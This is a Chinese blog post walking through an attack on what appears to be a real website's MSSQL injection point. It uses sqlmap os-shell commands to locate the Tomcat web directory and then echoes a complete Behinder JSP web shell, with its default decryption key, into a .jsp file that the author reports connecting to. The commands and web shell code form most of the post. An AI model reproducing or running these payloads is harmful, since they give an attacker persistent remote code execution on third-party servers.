mssql dba注入點寫shell

某日同事發來一注入點
image.png
說是mssql用sqlmap跑可以執行命令,但是用powershell和mstha都無法上線cs,叫我看看。
首先用sqlmap跑一下,發現確實能執行命令,ping了一下dnslog發現不出網。
那麼這裏考慮寫shell,寫shell的話首先判斷是否站庫分離
image.png
發現非站庫分離,然後就是要找到web目錄。
因爲是布爾盲注,先執行下面命令看下進程(tasklist數據太多了有點慢這個命令只看進程名)

os-shell> wmic process get name

image.png
發現tomcat7然後使用下面命令查看tomcat目錄

os-shell> wmic process where name="tomcat7.exe" get CommandLine

image.png
執行命令查看webapps

os-shell> dir D:\patentnew_tomcat_7\webapps\

image.png
發現爲空文件夾,我們打開這個站找一個名字比較特殊的靜態文件。
image.png
web肯定在d盤的,然後os-shell執行命令(因爲搜索時間較長所有不採用直接回顯的方式)

os-shell> dir /b/s d:z_6.png > d:\qa1.txt
os-shell> type d:\qa1.txt

image.png
echo寫入冰蠍shell(先寫入txt看shell內容是否正確寫入)

os-shell> echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*該密鑰爲連接密碼32位md5值的前16位,默認連接密碼rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > D:\patent\images\login\ssss.txt
os-shell> copy D:\patent\images\login\ssss.txt D:\patent\images\login\ssss.jsp

image.png
冰蠍成功連接
image.png

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章